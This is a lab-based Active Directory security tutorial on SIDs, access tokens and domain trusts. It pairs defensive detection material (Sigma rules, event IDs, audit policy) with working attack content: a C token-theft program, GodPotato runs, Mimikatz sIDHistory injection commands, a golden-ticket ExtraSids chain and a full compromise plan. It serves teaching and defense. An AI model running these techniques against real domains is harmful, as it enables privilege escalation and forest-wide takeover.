Security Principals, SIDs, Tokens, and Trusts: How Identity and Authorization Really Work in AD

By Debraj Basak·Jun 24, 2026·25 min readActive Directory Exploitation

Objective: Understand, end to end, how Active Directory decides who you are (security principals, SIDs), what you are permitted to do (access tokens, ACL checks), and how trust between domains stretches or constrains that identity. We build a two-domain lab, enumerate the data structures live, abuse the predictable failure modes (token theft, SeImpersonatePrivilege, SIDHistory injection, forest trust misuse), and pair every step with the telemetry a defender should see.


Most AD write-ups skip the part that actually matters. They show you Rubeus.exe asktgs and call it a day, then you hit a real engagement and have no idea why a TGT request from a child domain succeeded without SID filtering, or why your impersonated token throws ERROR_PRIVILEGE_NOT_HELD when the user is “Administrator.” Identity in Windows is a series of small data structures wired together by very old code, and if you don’t understand the structures you cannot reason about the abuse.

This guide is the long version. It starts with the _SID struct, walks the kernel _TOKEN, then attacks the resulting authorization model from three angles: in-process token theft, SIDHistory injection across a domain boundary, and forest trust abuse. Every section starts with the enumeration that finds the misconfiguration. Then we exploit it. Then we look at what showed up in the logs.

Lab assumption throughout: LAB.LOCAL (forest root, DC DC01), CHILD.LAB.LOCAL (child, DC DC02), Windows 11 workstation WS01 joined to CHILD. Two-way transitive forest trust, SID filtering left at the within-forest default (off). Service account svc_backup on WS01 has SeImpersonatePrivilege. Build it before you continue: nothing in this article is interesting on paper.


1. What Is a Security Principal

A security principal is anything the OS can authenticate: a user, a computer, a managed service account, a gMSA, or a group containing those. Every principal carries a unique security identifier (SID) in its objectSid attribute. The SID is the identity. The username, the SAM account name, the UPN: those are labels. The SID is what the kernel compares.

When AD does authorization, it never reads “JDOE”. It reads S-1-5-21-1452537293-2842118805-3217629512-1108. Rename JDOE to JANE, the SID is unchanged, the access stays the same. Delete JDOE, recreate “JDOE,” and the new account is a stranger to every ACE that referenced the old one. SIDs are never reissued, never recycled. That guarantee is what makes the entire ACL system work.

Enumerate principals before you abuse them

Before you can attack identity, you need to see it. Three angles cover most ground: ADSI/PowerShell for the AD-side view, whoami for the token-side view, and BloodHound for the relationship graph.

Get-ADUser -Filter * -Properties objectSid, sAMAccountName, memberOf |
  Select-Object Name, sAMAccountName, objectSid -First 5
Name              sAMAccountName    objectSid
----              --------------    ---------
Administrator     Administrator     S-1-5-21-1452537293-2842118805-3217629512-500
krbtgt            krbtgt            S-1-5-21-1452537293-2842118805-3217629512-502
svc_backup        svc_backup        S-1-5-21-3344112233-1100022113-4421987654-1117
JDoe              jdoe              S-1-5-21-3344112233-1100022113-4421987654-1108
Helpdesk1         hd1               S-1-5-21-3344112233-1100022113-4421987654-1142

Two domain SIDs are visible here. The first three sub-authority blocks (1452537293-2842118805-3217629512 and 3344112233-1100022113-4421987654) are the domain SIDs of LAB.LOCAL and CHILD.LAB.LOCAL. The trailing number is the RID. Administrator is always 500 in its domain; krbtgt is 502. Memorize these:

RIDAccountWhy it matters
500Built-in AdministratorTarget for password spray, never locks
501GuestOften disabled, occasionally a foothold
502krbtgtNTLM hash = Golden Ticket
512Domain AdminsThe classic privesc target
513Domain UsersEvery authenticated user
519Enterprise AdminsForest-wide power, root domain only

2. SID Anatomy: Binary Format to String

A SID on disk is a packed binary blob. The string form S-1-5-21-... is a render of these fields:

typedef struct _SID {
    BYTE  Revision;                    // always 0x01
    BYTE  SubAuthorityCount;           // 1..15
    SID_IDENTIFIER_AUTHORITY IdentifierAuthority;  // 6 bytes, e.g. {0,0,0,0,0,5} = NT
    DWORD SubAuthority[ANYSIZE_ARRAY]; // SubAuthorityCount * DWORD
} SID, *PSID;

The string S-1-5-21-3344112233-1100022113-4421987654-1108 decodes to:
1: revision
5: identifier authority (NT)
21-3344112233-1100022113-4421987654: domain identifier (4 sub-authorities, the leading 21 + three random DWORDs generated at domain creation)
1108: RID

For domain principals, the domain SID is fixed at promotion time and every account is just DomainSID + RID. That’s why the RID matters: in a forged ticket you don’t pick a SID at random, you build it from the target domain’s prefix and the well-known RID you want.

Well-known SIDs you must recognize on sight

SIDNameNotes
S-1-0-0NULL SIDNo principal
S-1-1-0EveryoneIncludes anonymous on legacy configs
S-1-5-7AnonymousPre-auth identity
S-1-5-11Authenticated UsersLogged-on with credentials
S-1-5-18LOCAL SYSTEMThe kernel’s own identity
S-1-5-19LOCAL SERVICELimited service identity
S-1-5-20NETWORK SERVICENetwork-capable service identity
S-1-5-32-544BUILTIN\AdministratorsLocal admins group
S-1-5-32-545BUILTIN\UsersLocal users group
S-1-3-0CREATOR OWNERPlaceholder, substituted at inheritance

CREATOR_OWNER is one of those quiet ones. When set in an inheritable ACE on a container, the inheritance engine swaps it for the SID of the creating principal on the child object. That is how “owner gets full control” propagates through file shares, GPO containers, and the registry.

Resolve a name to a SID without ADUC:

([System.Security.Principal.NTAccount]"CHILD\svc_backup").Translate([System.Security.Principal.SecurityIdentifier]).Value
S-1-5-21-3344112233-1100022113-4421987654-1117

And back the other way:

(New-Object System.Security.Principal.SecurityIdentifier("S-1-5-21-3344112233-1100022113-4421987654-1117")).Translate([System.Security.Principal.NTAccount]).Value
CHILD\svc_backup

This LSALookupSids RPC call goes to the local LSA, which forwards to the relevant DC if the SID isn’t local. It is also the call you watch for in detection: anonymous SID translation against a DC is a classic recon footprint.


3. Access Tokens: The Runtime Identity Object

Authentication produces a logon session. The Local Security Authority Subsystem Service (lsass.exe) materializes that session as an access token. The token is what gets pinned to every process and (when impersonating) every thread. Lose the password, but keep the token, and the password is irrelevant.

A primary token belongs to a process: _EPROCESS->Token. An impersonation token is attached to a thread: _ETHREAD->ClientSecurity. When a thread issues a syscall against a securable object, the kernel uses the thread’s impersonation token if one is set, else the process’s primary token.

typedef enum _TOKEN_TYPE {
    TokenPrimary       = 1,
    TokenImpersonation = 2
} TOKEN_TYPE;

typedef enum _SECURITY_IMPERSONATION_LEVEL {
    SecurityAnonymous,
    SecurityIdentification,
    SecurityImpersonation,
    SecurityDelegation
} SECURITY_IMPERSONATION_LEVEL;

Identification means “I can read who you are.” Impersonation means “I can act as you on this box.” Delegation means “I can act as you across the network too.” If you steal a token that only carries SecurityIdentification, you can whoami as the victim but you cannot open their files. Most stolen tokens in the wild are bumped up to SecurityImpersonation via DuplicateTokenEx because of this.

The user-mode token query is one struct that captures the important bits:

typedef struct _TOKEN_GROUPS_AND_PRIVILEGES {
    DWORD               SidCount;
    DWORD               SidLength;
    PSID_AND_ATTRIBUTES Sids;
    DWORD               RestrictedSidCount;
    DWORD               RestrictedSidLength;
    PSID_AND_ATTRIBUTES RestrictedSids;
    DWORD               PrivilegeCount;
    DWORD               PrivilegeLength;
    PLUID_AND_ATTRIBUTES Privileges;
    LUID                AuthenticationId;
} TOKEN_GROUPS_AND_PRIVILEGES;

The AuthenticationId is the LUID of the logon session. The same LUID across two processes means same logon, same Kerberos tickets, same network identity.

Read your own token

whoami /all
USER INFORMATION
----------------
User Name        SID
================ =============================================================
child\jdoe       S-1-5-21-3344112233-1100022113-4421987654-1108

GROUP INFORMATION
-----------------
Group Name                             Type             SID          Attributes
======================================= ================ ============ ==========
Everyone                                Well-known group S-1-1-0      Mandatory, Enabled by default, Enabled group
BUILTIN\Users                           Alias            S-1-5-32-545 Mandatory, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users        Well-known group S-1-5-11     Mandatory, Enabled by default, Enabled group
CHILD\Domain Users                      Group            S-1-5-21-3344112233-1100022113-4421987654-513 Mandatory, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level  Label            S-1-16-8192

PRIVILEGES INFORMATION
----------------------
Privilege Name                Description                          State
============================= ==================================== ========
SeChangeNotifyPrivilege       Bypass traverse checking             Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set       Disabled

Three things to internalize from this output. First, every group SID has an attributes field: Enabled, Mandatory, Use for deny only. A SID that is present but not enabled does not satisfy an ACE. Second, the Mandatory Label (S-1-16-8192 = Medium) is the integrity level: a Medium process cannot write to a High object even if the DACL would allow it. Third, privileges are listed as Enabled/Disabled. A disabled privilege is still in the token. AdjustTokenPrivileges flips it on without needing fresh creds.

Read someone else’s token from the kernel

In WinDbg attached to a live kernel:

kd> !process 0 0 winlogon.exe
PROCESS ffff8e0a4b8c4080
    SessionId: 1  Cid: 03e8    Peb: 7ffd9000  ParentCid: 0274
    Image: winlogon.exe

kd> !token ffff8e0a4b9d2060
_TOKEN ffff8e0a4b9d2060
TS Session ID: 0x1
User: S-1-5-18
Groups:
 00 S-1-5-32-544       Attributes - Default Enabled Owner
 01 S-1-1-0            Attributes - Mandatory Default Enabled
 02 S-1-5-11           Attributes - Mandatory Default Enabled
Primary Group: S-1-5-18
Privs:
 02 0x000000002 SeCreateTokenPrivilege            Attributes -
 03 0x000000003 SeAssignPrimaryTokenPrivilege     Attributes -
 04 0x000000004 SeLockMemoryPrivilege             Attributes - Enabled Default
 ...
 20 0x000000014 SeDebugPrivilege                  Attributes - Enabled Default
Authentication ID: (0,3e7)
Impersonation Level: Anonymous
TokenType: Primary

Authentication ID: (0,3e7) is the SYSTEM logon LUID (0x3e7 = 999). TokenType: Primary confirms this is the process token. The presence of SeDebugPrivilege enabled by default is what makes winlogon a juicy theft target.


Hierarchy diagram showing the _TOKEN kernel object and its five key components: User SID, Group SIDs with attributes, Privileges, Integrity Label, and the Authentication ID logon session LUID
Every process and impersonating thread carries an access token whose SID list and enabled privileges are what the kernel’s SeAccessCheck actually evaluates.

4. The Authorization Check: From Token to ACE

The actual access check, implemented in SeAccessCheck in the kernel, is deceptively simple:

  1. Kernel grabs the effective token (thread impersonation if present, else process primary).
  2. If the operation needs a privilege (e.g. backup, debug, take ownership) and the privilege is enabled in the token, skip the DACL and grant. This is the privilege bypass path.
  3. Otherwise iterate the DACL’s ACEs in order.
  4. For each ACE: is its SID enabled in the token? Does the requested access mask intersect the ACE mask? If it is a Deny ACE matching what we want, immediately fail. If it is an Allow ACE, accumulate the granted bits.
  5. Stop when accumulated bits cover the requested access (grant) or the list is exhausted (deny).
  6. Apply the integrity check: the subject’s IL must dominate the object’s mandatory IL for write.

Two consequences worth burning in. ACE order matters. Deny ACEs are placed before Allow ACEs in a canonical DACL because the first match wins. Privileges bypass DACLs. SeBackupPrivilege lets you read any file regardless of its ACL, because the backup code path skips the DACL check entirely. That is not a bug, it is the design: backup tools need to read everything.

This is also why the entire token-theft economy exists. You don’t need to crack a password or modify an ACE. Borrow a token that already has the right SIDs and privileges flipped on, and SeAccessCheck happily approves whatever you ask.


5. Privileges Deep-Dive: Which Ones Matter for Attackers

Windows ships around 30 privileges. Five of them are equivalent to admin if you can enable them.

PrivilegeWhat it lets you doPractical abuse
SeDebugPrivilegeOpen any process for full accessOpenProcess(PROCESS_ALL_ACCESS, ...) on lsass.exe, dump creds, steal tokens
SeImpersonatePrivilegeImpersonate a client after RPC/named-pipe callPotato family: coerce SYSTEM connection, impersonate
SeAssignPrimaryTokenPrivilegeReplace a process’s primary tokenPair with impersonation to start a new process as SYSTEM
SeBackupPrivilegeRead any file, bypassing DACLRead SAM/SYSTEM hives offline, then DPAPI/SAM hash extraction
SeRestorePrivilegeWrite any file/registry key, bypassing DACLDrop a service binary in System32, edit any registry key
SeTakeOwnershipPrivilegeTake ownership of any objectReset DACL on a target, then full control
SeLoadDriverPrivilegeLoad a kernel driverBYOVD: load a signed-but-vulnerable driver to reach kernel

Enumerate which accounts hold them

Local privilege assignment is in the LSA database. Pull it from a target box:

secedit /export /areas USER_RIGHTS /cfg C:\Windows\Temp\rights.inf
Select-String -Path C:\Windows\Temp\rights.inf -Pattern "SeImpersonatePrivilege|SeDebugPrivilege|SeBackupPrivilege"
SeImpersonatePrivilege = *S-1-5-19,*S-1-5-20,*S-1-5-32-544,*S-1-5-21-3344112233-1100022113-4421987654-1117
SeBackupPrivilege = *S-1-5-32-544,*S-1-5-32-551
SeDebugPrivilege = *S-1-5-32-544

The interesting line is the first one. S-1-5-21-...-1117 is svc_backup, a domain user account that has been granted SeImpersonatePrivilege on WS01. That is the lab’s planted misconfig. The Potato chain works wherever this privilege exists on a service account.

For AD-wide visibility use BloodHound, but PowerView gives quick answers:

Get-DomainGPOUserLocalGroupMapping -LocalGroup Administrators -Identity "WS01"
ComputerName : WS01.child.lab.local
ObjectName   : svc_backup
ObjectDN     : CN=svc_backup,OU=Service Accounts,DC=child,DC=lab,DC=local
ObjectSID    : S-1-5-21-3344112233-1100022113-4421987654-1117
IsGroup      : False
GPODisplayName : Workstation Service Rights

6. Token Impersonation and Theft

T1134.001 (Token Impersonation/Theft), T1134.002 (Create Process with Token), T1134.003 (Make and Impersonate Token).

6.1 Enumerate tokens available for theft

You can only steal what you can open. Start with what processes you can touch:

Get-Process | Where-Object { $_.Path -ne $null } | Select-Object Id, ProcessName, @{n='Owner';e={(Get-CimInstance Win32_Process -Filter "ProcessId=$($_.Id)").GetOwner().User}} -First 10
  Id ProcessName     Owner
  -- -----------     -----
 624 winlogon        SYSTEM
 712 services        SYSTEM
 728 lsass           SYSTEM
1024 svchost         NETWORK SERVICE
1380 spoolsv         SYSTEM
2848 explorer        jdoe
3120 chrome          jdoe
4432 OneDrive        jdoe
4988 cmd             svc_backup

A SYSTEM token in winlogon.exe or lsass.exe is the prize. Whether you can open it depends on your current privileges. With SeDebugPrivilege, you bypass the process DACL entirely.

For thread-level impersonation tokens (often more interesting because they reflect recent network logons):

# Use incognito / Token::list from Mimikatz
mimikatz # token::list
Token Id  : 0
User name : 
SID name  : NT AUTHORITY\SYSTEM

 700     {0;000003e7} 1 D 24437          NT AUTHORITY\SYSTEM     S-1-5-18        (04g,21p)       Primary
 -> Impersonation (Delegation)
 1144    {0;0002a3f1} 1 F 187462         CHILD\jdoe              S-1-5-21-3344112233-1100022113-4421987654-1108  (12g,00p)       Primary
 -> Impersonation (Impersonation)
 4988    {0;0001ec22} 1 D 92341          CHILD\svc_backup        S-1-5-21-3344112233-1100022113-4421987654-1117  (15g,03p)       Primary

The privilege count (15g,03p) next to svc_backup says 15 groups, 3 privileges enabled. That is the impersonation candidate. The “Delegation” tag on the SYSTEM token means it can be reused across the network: that is the one you actually want.

6.2 Manual token theft in C

The canonical chain is OpenProcessOpenProcessTokenDuplicateTokenExCreateProcessWithTokenW. If SeDebugPrivilege is enabled, the target can be winlogon.exe.

#include <windows.h>
#include <stdio.h>
#include <tlhelp32.h>

DWORD GetProcessIdByName(const wchar_t *name) {
    HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32W pe = { sizeof(pe) };
    DWORD pid = 0;
    if (Process32FirstW(snap, &pe)) {
        do {
            if (_wcsicmp(pe.szExeFile, name) == 0) { pid = pe.th32ProcessID; break; }
        } while (Process32NextW(snap, &pe));
    }
    CloseHandle(snap);
    return pid;
}

BOOL EnableDebug(void) {
    HANDLE hTok; LUID luid; TOKEN_PRIVILEGES tp = { 1 };
    OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hTok);
    LookupPrivilegeValueW(NULL, L"SeDebugPrivilege", &luid);
    tp.Privileges[0].Luid = luid;
    tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    BOOL ok = AdjustTokenPrivileges(hTok, FALSE, &tp, sizeof(tp), NULL, NULL);
    CloseHandle(hTok);
    return ok && GetLastError() == ERROR_SUCCESS;
}

int wmain(void) {
    if (!EnableDebug()) { wprintf(L"[-] SeDebugPrivilege not held\n"); return 1; }

    DWORD pid = GetProcessIdByName(L"winlogon.exe");
    HANDLE hProc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid);
    HANDLE hTok = NULL, hDup = NULL;
    OpenProcessToken(hProc, TOKEN_DUPLICATE | TOKEN_QUERY | TOKEN_ASSIGN_PRIMARY, &hTok);
    DuplicateTokenEx(hTok, TOKEN_ALL_ACCESS, NULL,
                     SecurityImpersonation, TokenPrimary, &hDup);

    STARTUPINFOW si = { sizeof(si) };
    PROCESS_INFORMATION pi = { 0 };
    si.lpDesktop = L"winsta0\\default";
    BOOL ok = CreateProcessWithTokenW(hDup, LOGON_WITH_PROFILE,
                  L"C:\\Windows\\System32\\cmd.exe", NULL, 0, NULL, NULL, &si, &pi);
    wprintf(L"[%s] cmd.exe PID %lu\n", ok ? L"+" : L"-", pi.dwProcessId);
    return 0;
}

Run it as svc_backup (which holds SeImpersonatePrivilege but not SeDebug) and it fails immediately at EnableDebug. That privilege is the gate. Either get SeDebugPrivilege (you’re already admin) or go through the named-pipe path below.

6.3 The Potato path: SeImpersonatePrivilege without SeDebug

SeImpersonatePrivilege lets a thread accept an impersonation token from a client of its named pipe or RPC endpoint. The whole Potato family (Hot, Rotten, Juicy, Rogue, Print, God) chains the same primitive:

  1. Create a named pipe as svc_backup.
  2. Trick a SYSTEM process into connecting to it. Mechanisms vary (DCOM activation, MS-RPRN spool service, MS-EFSR).
  3. ImpersonateNamedPipeClient(hPipe): thread token is now SYSTEM impersonation.
  4. DuplicateTokenEx → primary SYSTEM token → CreateProcessAsUser.

In the lab, use PrintSpoofer (uses MS-RPRN) or GodPotato (uses DCOM/RPC SS):

C:\Users\svc_backup\Desktop> .\GodPotato.exe -cmd "cmd /c whoami"
[*] CombaseModule: 0x00007ffcf3a90000
[*] DispatchTable: 0x00007ffcf3bd2360
[*] UseProtSeqFunction: 0x00007ffcf3b06ad0
[*] UseProtSeqFunctionParamCount: 6
[*] HookRPC
[*] CreateNamedPipe \\.\pipe\7f3a6e02-22ed-4b8c-94b4-2e5a8c1a0017\pipe\epmapper
[*] DCOM obj GUID:  4991d34b-80a1-4291-83b6-3328366b9097
[*] DCOM obj IPID:  00000a87-0aff-ffff-12b8-de32b73a9ca0
[*] DCOM obj OXID:  37ec9b2a90a1d2e8
[*] Marshal Object bytes len: 728
[*] Pipe Connected!
[*] CurrentUser: CHILD\svc_backup
[*] CurrentsImpersonationLevel: Impersonation
[*] Start Search System Token
[*] Find System Token Pid: 728
[*] Find System Token ProcessName: lsass.exe
[*] CurrentUser: NT AUTHORITY\SYSTEM
[*] Get System Token: 0x484
[*] CreateProcessWithToken: cmd /c whoami
nt authority\system

The trick is the named pipe relay. RPC’s runtime resolves the endpoint mapper through the attacker’s pipe, the SYSTEM-side caller authenticates over that pipe, and the SS marshalling of an IRemUnknown2 callback flows the SYSTEM client identity to the pipe server. The pipe server (us) calls ImpersonateNamedPipeClient and now holds SYSTEM.

The defense is also obvious: do not grant SeImpersonatePrivilege to service accounts that do not absolutely need it (IIS app pools, SQL Server). Removing it neutralizes the entire Potato family.


Flow diagram tracing the Potato attack chain from a service account with SeImpersonatePrivilege through named pipe creation, SYSTEM coercion, pipe impersonation, token duplication, and final SYSTEM shell spawn
The entire Potato family follows this six-step named-pipe relay; removing SeImpersonatePrivilege from non-RPC service accounts breaks the chain at step one.

7. SIDHistory: The Migration Feature That Becomes a Backdoor

T1134.005.

When AD migrates an account between domains, the new account gets a new objectSid. To keep its access to old resources, the previous SID is dropped into the sIDHistory attribute. At logon, the KDC and LSA expand sIDHistory into the access token alongside the current SID and group SIDs. From the access-check kernel’s perspective, the historical SID is just another enabled SID in the token. It satisfies ACEs that reference it.

That is the legitimate flow. The abuse: write a SID into someone’s sIDHistory that they should not have. The DC’s authentication path will dutifully add it to the token. RID 519 (Enterprise Admins) in the root domain SID, slotted into a low-priv user’s sIDHistory, makes them Enterprise Admin at next logon without ever appearing in the EA group’s member list.

Enumerate sIDHistory anywhere it shouldn’t exist

Get-ADUser -Filter * -Properties SIDHistory -Server lab.local |
  Where-Object { $_.SIDHistory.Count -gt 0 } |
  Select-Object Name, SIDHistory
Name        SIDHistory
----        ----------
oldsvc01    {S-1-5-21-9988887766-1122334455-5566778899-1342}
auditor     {S-1-5-21-1452537293-2842118805-3217629512-512}

auditor has a sIDHistory containing RID 512 from the LAB.LOCAL root domain SID. Translated: Domain Admins of the forest root, granted via SIDHistory to a regular user account. That is the backdoor in the wild.

Cross-check against documented migrations. If there was no ADMT project, that entry is malicious.

Inject sIDHistory with Mimikatz

This requires Domain Admin in the source (child) domain plus access to the DC. The DS service normally rejects writes that add SIDs from outside the current domain. Mimikatz patches the DS validation in LSASS memory to allow the write:

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # token::elevate
Token Id  : 0
User name :
SID name  : NT AUTHORITY\SYSTEM

mimikatz # sid::patch
Patch 1/2: "ntds" service patched
Patch 2/2: "ntds" service patched

Then add the SID. The argument is the full SID string of the privilege you want to plant:

mimikatz # sid::add /sam:jdoe /new:S-1-5-21-1452537293-2842118805-3217629512-519
* Will try to add 'S-1-5-21-1452537293-2842118805-3217629512-519' to 'jdoe'
* Object: CN=JDoe,CN=Users,DC=child,DC=lab,DC=local
* sIDHistory before:
* sIDHistory after: S-1-5-21-1452537293-2842118805-3217629512-519
* OK!

Verify and prove the impact:

Get-ADUser jdoe -Server child.lab.local -Properties SIDHistory | Format-List Name, SIDHistory
Name       : JDoe
SIDHistory : {S-1-5-21-1452537293-2842118805-3217629512-519}

jdoe logs off, logs back on, then:

C:\Users\jdoe> whoami /groups | findstr "519"
LAB\Enterprise Admins                       Group  S-1-5-21-1452537293-2842118805-3217629512-519  Mandatory, Enabled by default, Enabled group

JDoe is now Enterprise Admin. Group membership in AD is unchanged. The only artifact is the sIDHistory value and the DS Replication change events (4765/4766). This is why you audit sIDHistory specifically: removing the EA group membership does nothing.


Illustration of a forged identity stamp being pressed into an official document, symbolizing SIDHistory injection granting illegitimate elevated privileges
SIDHistory lets a migrated account carry its old SID into its new-domain token – a legitimate feature that becomes a stealthy backdoor when an attacker injects an Enterprise Admins SID.

8. Domain and Forest Trusts: Architecture and Attack Surface

T1482.

A trust is a serialized authentication agreement: domain A says “I will accept tickets/users issued by domain B as valid principals here.” The data lives in trustedDomain objects under CN=System,DC=.... Important attributes:

AttributeMeaningValues
trustDirectionWho trusts whom1 = Inbound, 2 = Outbound, 3 = Bidirectional
trustTypeProtocol family1 = Downlevel (NT), 2 = Uplevel (AD), 3 = MIT Kerberos realm
trustAttributesBit-field of options0x4 = Quarantine (SID filter), 0x8 = Forest transitive, 0x40 = TreeRoot
securityIdentifierSID of trusted domainUsed in PAC SID filtering
flatNameNetBIOS name

Within a forest, trusts between parent and child domains are automatic, two-way, and transitive. SID filtering is off by default within the forest. That is the design choice that makes the Forest the security boundary, not the Domain: SIDHistory from a compromised child travels into the parent.

Enumerate trusts

C:\> nltest /domain_trusts /all_trusts /v
List of domain trusts:
    0: CHILD child.lab.local (NT 5) (Forest Tree Root) (Direct Outbound) (Direct Inbound) ( Attr: within forest )
       Dom Guid: 14ad9b85-2e74-4a8e-9bf1-31d6c2a4c12c
       Dom Sid:  S-1-5-21-3344112233-1100022113-4421987654
    1: LAB lab.local (NT 5) (Forest Tree Root) (Direct Outbound) (Direct Inbound) (Forest: Yes) ( Attr: within forest )
       Dom Guid: 9c2f0fae-5e90-49b4-bc77-3b9a8e2c0d11
       Dom Sid:  S-1-5-21-1452537293-2842118805-3217629512
    2: PARTNER partner.local (NT 5) (Direct Outbound) (Direct Inbound) ( Attr: forest transitive )
       Dom Guid: 70a98ce2-bb4e-4a01-8b59-7a5f88c2401d
       Dom Sid:  S-1-5-21-5544332211-6677889900-1100223344
The command completed successfully

Read carefully. LAB and CHILD show Attr: within forest: SID filtering off. PARTNER is forest transitive: SID filtering on by default (that is the safe case). Cross-forest abuse requires either the trust attribute saying TreatAsExternal was disabled, or the admin explicitly turning quarantine off with netdom.

LDAP gives the same data with more detail:

([adsisearcher]"(objectClass=trustedDomain)").FindAll() | ForEach-Object {
    $p = $_.Properties
    [PSCustomObject]@{
        Name = $p["name"][0]
        Direction = $p["trustdirection"][0]
        Type = $p["trusttype"][0]
        Attributes = "0x{0:X}" -f $p["trustattributes"][0]
        PartnerSID = (New-Object System.Security.Principal.SecurityIdentifier($p["securityidentifier"][0], 0)).Value
    }
}
Name      Direction Type Attributes PartnerSID
----      --------- ---- ---------- ----------
lab.local         3    2 0x20       S-1-5-21-1452537293-2842118805-3217629512
partner.local     3    2 0x8        S-1-5-21-5544332211-6677889900-1100223344

0x20 = TRUST_ATTRIBUTE_WITHIN_FOREST. 0x8 = TRUST_ATTRIBUTE_FOREST_TRANSITIVE. For the 0x8 case, check filtering explicitly:

C:\> netdom trust child.lab.local /domain:partner.local /quarantine
SID filtering is enabled for this trust.
The command completed successfully.

If that says “SID filtering is not enabled,” any SIDHistory you plant in CHILD will be honored when the user authenticates against PARTNER. That is the catastrophic cross-forest path.

BloodHound is faster

For the visual side: SharpHound collects users, groups, ACLs, sessions, trusts. Imported into BloodHound, “Map Domain Trusts” shows the trust graph; “Find Shortest Paths to Domain Admins” walks AD-ACL edges across domain boundaries when filtering is off.

C:\> .\SharpHound.exe -c All,Trusts,ACL --zipfilename lab.zip
2024-XX-XX T16:42:03Z|INFORMATION|Resolved Collection Methods: Group, LocalAdmin, Session, Trusts, ACL, ObjectProps, Container
2024-XX-XX T16:42:04Z|INFORMATION|Initializing SharpHound at 4:42 PM on ...
2024-XX-XX T16:42:09Z|INFORMATION|Status: 0 objects finished (+0 0.5)/s -- Using 47 MB RAM
2024-XX-XX T16:42:34Z|INFORMATION|Status: 1854 objects finished (+1854 92.7)/s -- Using 188 MB RAM
2024-XX-XX T16:42:51Z|INFORMATION|Enumeration finished in 00:00:48.1923470
2024-XX-XX T16:42:51Z|INFORMATION|Compressing data to .\lab.zip

In the GUI, pick “Map Domain Trusts.” Each edge is annotated with direction and IsTransitive. Walk paths labeled Contains, MemberOf, and especially GenericAll/WriteDacl toward the foreign domain’s Domain Admins to find practical cross-trust escalations.

Cross-domain ticket abuse (lab)

With Domain Admin in CHILD and SID filtering off across the forest, a Golden Ticket forged in CHILD with extra SIDs from LAB works against LAB’s DCs. The conceptual chain:

  1. Dump the CHILD krbtgt hash on DC02 (lsadump::dcsync /domain:child.lab.local /user:krbtgt).
  2. Forge a TGT with kerberos::golden, embedding /sids:S-1-5-21-<LAB>-519 in the PAC’s ExtraSids.
  3. Use the ticket against a resource in lab.local. Because the trust does not filter SIDs, the parent DC accepts the ExtraSids and authorizes you as Enterprise Admin.

This is the “SID History attack” form of the trust abuse: same primitive as Section 7, but delivered through a ticket rather than an AD attribute write. Both rely on the trust honoring SIDs from outside its own domain SID range.


Graph diagram showing LAB.LOCAL connected to CHILD.LAB.LOCAL with SID filtering off by default for within-forest trusts, and LAB.LOCAL connected to PARTNER.LOCAL with SID filtering on for the external forest trust
Within-forest trusts disable SID filtering by default, meaning a compromised child domain can inject ExtraSids into PACs that the forest root will honour without question.

9. The Full Chain End to End

Tie the sections together as a single attack the way you would run it on an assessment, with enumeration first, exploitation second, persistence third.

  1. Recon: SharpHound collection, whoami /priv, secedit privilege export, nltest /domain_trusts /all_trusts. Identify svc_backup on WS01 with SeImpersonatePrivilege, and that the LAB/CHILD trust is within-forest (no filtering).
  2. Foothold: Phish or password-spray svc_backup. Land an interactive session on WS01.
  3. Local SYSTEM: Run GodPotato. The pipe relay produces an impersonation SYSTEM token. Spawn cmd.exe as SYSTEM.
  4. Domain admin in CHILD: From SYSTEM on WS01, run Rubeus or lsadump::dcsync against DC02. Dump krbtgt for child.lab.local. Forge a Golden Ticket for CHILD Domain Admin.
  5. Cross-forest pivot: Within the Golden Ticket, set /sids:S-1-5-21-<LAB>-519 (Enterprise Admins of lab.local). Use the ticket against DC01. Because the within-forest trust does not filter, DC01 authorizes the ExtraSids.
  6. Persistence in root: Land on DC01 as EA. Either Skeleton Key, krbtgt of LAB, or SIDHistory injection on an unobtrusive root-domain account using sid::patch + sid::add. The SIDHistory option survives password rotations and rarely surfaces in standard group-membership audits.

The misconfigs are mundane: one over-privileged service account, one default trust attribute. The chain is end-of-engagement.


10. Detection and Defense

Sysmon and Security event correlation

SourceEvent IDTriggerTactic
Sysmon1nltest.exe, whoami.exe, SharpHound.exe, mimikatz.exe process createDiscovery
Sysmon10ProcessAccess on lsass.exe with GrantedAccess containing 0x40 (DUP_HANDLE) or 0x1010Credential Access / Token Theft
Sysmon17Pipe Created with unusual names by IIS, MSSQL, low-priv servicesPotato variants
Security4624Logon Type 9 (NewCredentials) or 3 cross-domainLateral Movement
Security4648Explicit credential logonRunAs activity
Security4672Special privileges assigned to new logonPrivilege use
Security4688Process Create with command lineToolchain visibility
Security4765SID History added successfullyT1134.005
Security4766SID History add failedT1134.005 (attempt)
Security4769Kerberos service ticket requestCross-realm anomalies

The chokepoint events for this article are 4765/4766 (SIDHistory) and Sysmon 10 against lsass.exe. They are low-volume in healthy environments and high-fidelity when they fire.

Sigma starters

title: LSASS Token Theft via ProcessAccess
status: stable
logsource:
  product: windows
  category: process_access
detection:
  selection:
    EventID: 10
    TargetImage|endswith: '\lsass.exe'
    GrantedAccess|contains:
      - '0x40'
      - '0x1010'
      - '0x1410'
  filter_legit:
    SourceImage|endswith:
      - '\MsMpEng.exe'
      - '\SenseIR.exe'
  condition: selection and not filter_legit
level: high
tags:
  - attack.credential_access
  - attack.t1134.001
title: Domain Trust Discovery via nltest
logsource:
  product: windows
  category: process_creation
detection:
  selection:
    Image|endswith: '\nltest.exe'
    CommandLine|contains:
      - '/domain_trusts'
      - '/trusted_domains'
      - '/all_trusts'
  condition: selection
level: medium
tags:
  - attack.discovery
  - attack.t1482
title: SID History Modification on AD User
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID:
      - 4765
      - 4766
  condition: selection
level: critical
tags:
  - attack.privilege_escalation
  - attack.t1134.005

Audit policy you must turn on

auditpol /set /subcategory:"Logon" /success:enable /failure:enable
auditpol /set /subcategory:"Special Logon" /success:enable
auditpol /set /subcategory:"Process Creation" /success:enable
auditpol /set /subcategory:"Kerberos Service Ticket Operations" /success:enable /failure:enable
auditpol /set /subcategory:"Kerberos Authentication Service" /success:enable /failure:enable
